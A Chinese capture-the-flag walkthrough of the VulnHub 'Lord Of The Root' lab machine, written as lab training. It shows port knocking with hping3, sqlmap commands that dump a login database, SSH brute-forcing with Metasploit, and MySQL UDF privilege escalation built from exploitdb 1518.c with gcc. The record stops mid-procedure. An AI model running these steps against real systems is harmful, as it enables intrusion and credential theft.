VulnHub-Lord Of The Root

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
目标:得到root权限&找到flag.txt

VulnHub-Lord Of The Root开机就是个这

VulnHub-Lord Of The Root

目标计算机IP地址:192.168.120.135
VulnHub-Lord Of The Root只有一个22 端口

尝试 ssh连接

VulnHub-Lord Of The Root这里有一个知识点:

端口碰撞: 端口上的防火墙通过产生一组预先指定关闭的端口进行连接尝试,
一旦接收到正确的连接尝试序列,防火墙规则就会动态修改,
以允许发送连接尝试的主机通过特定端口进行连接。

使用ping命令冲撞三次试试1,2,3

命令:hping3 -S 192.168.120.135 -p 1 -c 1

VulnHub-Lord Of The Root

通过ping冲撞之后,防火墙规则会修改,重新扫描一次试试

VulnHub-Lord Of The Root

扫出了1337端口,访问

VulnHub-Lord Of The Root

查看下robots.txt文件

F12四处找找

VulnHub-Lord Of The Root

找到base64值:

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

进行解密

VulnHub-Lord Of The Root

kali里面也可以 (断网情况用)

VulnHub-Lord Of The Root

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

继续进行二次解码
VulnHub-Lord Of The Root

/978345210/index.php

很明显是个目录

访问试试

VulnHub-Lord Of The Root

目前不知道确切的用户名和密码,可以使用SQLMAP进行基于登录表单的注入查看,检索数据库名称和登录凭据

命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms --dbs

VulnHub-Lord Of The Root

继续获取webapp数据表信息

命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp --tables

VulnHub-Lord Of The Root

这里可以看到Users数据表,继续查看数据表信息

命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp -T Users --columns

VulnHub-Lord Of The Root

这里看到了一些专栏,进行转储选出最终结果

命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump

VulnHub-Lord Of The Root

将这些用户名和密码保存在两个不同的文本中,使用msfconsole 来破解SSH正确的账号密码

上msf

用这个模块 来破解SSH正确的账号密码

VulnHub-Lord Of The Root
VulnHub-Lord Of The Root

VulnHub-Lord Of The Root
VulnHub-Lord Of The Root

账号:smeagol
密码:MyPreciousR00t

二、提权

第一种-Linux内核提权

SSH登录
VulnHub-Lord Of The Root
查看靶机版本

lsb_release -a

VulnHub-Lord Of The Root

查看到ubuntu 14.04 的版本

上msf 找
VulnHub-Lord Of The Root
用这个 进行提权

复制到本地

VulnHub-Lord Of The Root
VulnHub-Lord Of The Root
ok 已经是root权限了

VulnHub-Lord Of The Root

第二-root身份运行MySQL提权

ssh 登录
VulnHub-Lord Of The Root
MySQL以root权限运行、

命令:ps aux | grep mysql

VulnHub-Lord Of The Root
检查数据库版本

命令:mysql --version

VulnHub-Lord Of The Root
有了以上信息,需要exploit进行反弹shell提权


VulnHub-Lord Of The Root用这个

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

将1518.c的shell上传到smeagol用户下

VulnHub-Lord Of The Root
根据1518.c 进行制作反弹shell

cp 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc

VulnHub-Lord Of The Root
制作完成 但是这里 需要

数据库 的账号和密码

一般都在www目录下

VulnHub-Lord Of The Rootok有了

进入数据库

VulnHub-Lord Of The Root查看是否可以运用mysql的udf提权

具体 可以看这里:https://blog.csdn.net/wo41ge/article/details/111149351

命令:show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

VulnHub-Lord Of The Root
所以可以进行mysql的udf提权

查看主机版本及数据库架构

VulnHub-Lord Of The Root
因数据库为i6886,要使用32位udf文件

查看plugin目录地址

VulnHub-Lord Of The Root

此处为上传udf文件地址

/usr/lib/mysql/plugin/ 

去sqlmap 里面找到udf文件

综上情况 要用32位的.so

VulnHub-Lord Of The Root
将他复制到/root 下
VulnHub-Lord Of The Root开启端口 进行下载

python -m SimpleHTTPServer 5555

上一篇:VulnHub靶场篇7-Lord Of The Root: 1.0.1


下一篇:2022-2023学年英语周报七年级第14期答案及试题